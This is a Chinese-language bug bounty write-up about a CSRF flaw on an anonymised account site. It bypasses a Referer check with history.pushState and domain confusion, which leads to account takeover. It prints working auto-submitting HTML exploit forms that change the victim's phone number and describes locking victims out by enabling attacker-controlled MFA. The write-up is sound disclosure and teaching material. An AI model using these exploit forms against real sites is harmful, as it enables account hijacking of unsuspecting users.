由于这是一个私有项目,我将使用 example.com 来代替。
很长一段时间以来,我一直想在漏洞赏金项目中找到一个账户接管(ATO)漏洞。于是,我开始探索项目范围内的 account.example.com
。
我做的第一件事就是注册一个新账号并登录到主应用程序。接着,我像往常一样,开始点击能找到的每个按钮,同时使用 Burp Suite 记录所有的流量。
请求分析
在查看 HTTP 历史记录后,我们发现以下几点:
1.所有请求都调用了一个 .json
端点,例如 account.example.com/login.json
。
2.请求以 JSON 格式发送。
3.任何请求中都没有 CSRF 头部。
在这一点上,我认为该应用程序不会受到 CSRF 攻击的影响,因为请求以 JSON 格式发送,而且由于同源策略[1],你无法设置 Content-Type
头部。因此,我开始寻找应用程序中的其他漏洞。三十分钟后,我决定尝试利用这个 CSRF 漏洞。
利用准备
我们能够利用这个漏洞的唯一方法是服务器没有检查 Content-Type
头部,并且强制其为 "application/json"
。因此,让我们检查一下应用程序是否验证了这个头部...
我们将测试更改电话号码的功能,因为如果我们能够更改受害者的电话号码,就可以实现账户接管(ATO)。
电话号码更改成功了。最后一次检查,然后我们就可以行动了……
再检查一下……应用程序是否要求 JSON 请求体有特定的格式,还是我们可以添加一些无关的参数并让它继续正常工作?
我们可以通过添加一个随机参数和值来检查,比如 "a":"test"
。
让我们开始吧,现在我们可以构建我们的攻击方案了。
攻击方案
我们来创建一个简单的概念验证(POC)。我们会将 enctype="text/plain"
设置为表单的编码类型,并将 JSON 请求体包含在隐藏的输入字段中。为什么我们在攻击中需要添加额外的参数?因为如果你尝试像这样发送请求...
<html> <head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden"
name= '{"_formName":"change-phone","phone":"01111111118"}'>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
这将生成如下的 JSON 请求体:
这是因为提交表单时,每个输入都需要有一个 name=value
格式的键值对,而我们想要发送的 JSON 并不符合这种格式。为了解决这个问题,我们可以将 name
属性设置为我们希望发送的 JSON 体内容,并添加一个随机参数来处理后续的 =
符号作为它的值,最后将 value
属性设置为 }
,以确保请求体的结构符合预期。这样可以生成符合要求的请求体,从而绕过 CSRF 保护机制。
<input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'>
这样做之后,我们将得到正确格式化的 JSON 请求体。:
img
到目前为止,我们的漏洞利用步骤如下:
<html> <head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden"
name= '{"phone":"01111111118","a":"' value='"}'>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
由于整个应用程序的工作方式都相同,这使得它变得容易受到 CSRF 攻击!
现在是时候领取我们的赏金了。
不过,在此之前,何不先尝试一下?
img
进一步调查
那么,发生了什么?我们的请求体看起来很好,所有的事情都正常。那为什么它没有成功呢?
让我们比较一下我们的两个请求,一个是通过我们的利用发送的,另一个是通过 Burp Suite 的 Repeater 发送的。
由于它们的主体是相同的,这对我们来说不是问题。Cookie 也成功发送,所以这与 SameSite 标志无关。让我们逐一检查我们的请求头:
•Origin
?没有问题。
•Content-Type
?没有问题。
•Referrer
?是的……
它需要有应用程序域才能正常工作。幸运的是,它是 Referrer
头,所以我们仍然有希望。
如果我们能操纵它,使其接受我们自己的服务器,我们就可以在上面托管利用代码,使用 JavaScript 中的 history.pushState
函数设置头信息,仍然可以利用这个漏洞。
所以我们需要的是域混淆——让服务器认为它是自己的域,但实际上并不是。
我们的测试:
•evilaccount.example.com → 失败
•evil.com/account.example.com → 失败
•account.exampleevil.com → 失败
•account.exampleevil.com → 失败
•account.example.com@evil.com[2] → 失败
•evil.com#account.example.com → 失败
应用程序没有验证头中域的出现,但如果我们尝试像 test@example.com
这样的格式,它会成功,而这在正常范围内。
所以该域名是有效的。但是,如果它只检查 @
符号后面的内容呢?我们可以尝试这样的格式: https://evil.com/test@example.com
让我们在我们的 Repeater 中试一下。
我们最终的EXP如下:
<html> <head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden"
name= '{"phone":"01111111118","a":"' value='"}'>
</form>
<script>
history.pushState("", "", "/anything@account.example.com")
document.forms[0].submit();
</script>
</body>
</html>
由于这是整个应用程序的缓解机制,现在整个应用程序都容易受到 CSRF 攻击!
我们能够做到:
•更改帐户手机号码 → 帐户接管(ATO)
•更改帐户用户名
•更改真实姓名
•将帐户连接/断开与平台的连接
•创建/删除/编辑具有完全权限的 API 密钥
•另外两个功能
一个有趣的方面是,通过使用身份验证器应用程序激活 MFA,我们只需发送一个包含攻击者 MFA 密钥
和 一次性密码(OTP)
的请求。这将使受害者的帐户启用 MFA,从而使他们无法再次登录。
结论与经验教训
通过这个方法,我们成功利用域名混淆绕过了 CSRF。我的收获是,由于错误地假设使用 application/json
内容类型的应用程序不会受到 CSRF 的影响,我差点错过了这个漏洞。我们需要尝试所有可能的方法,绝不要仅仅相信开发者的假设。
“更改手机号码”的报告被标记为关键(9.0–10.0),因为它会导致帐户接管(ATO)。
漏洞赏金:4000 $
无 偿 获 取 网 安 资 料:
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关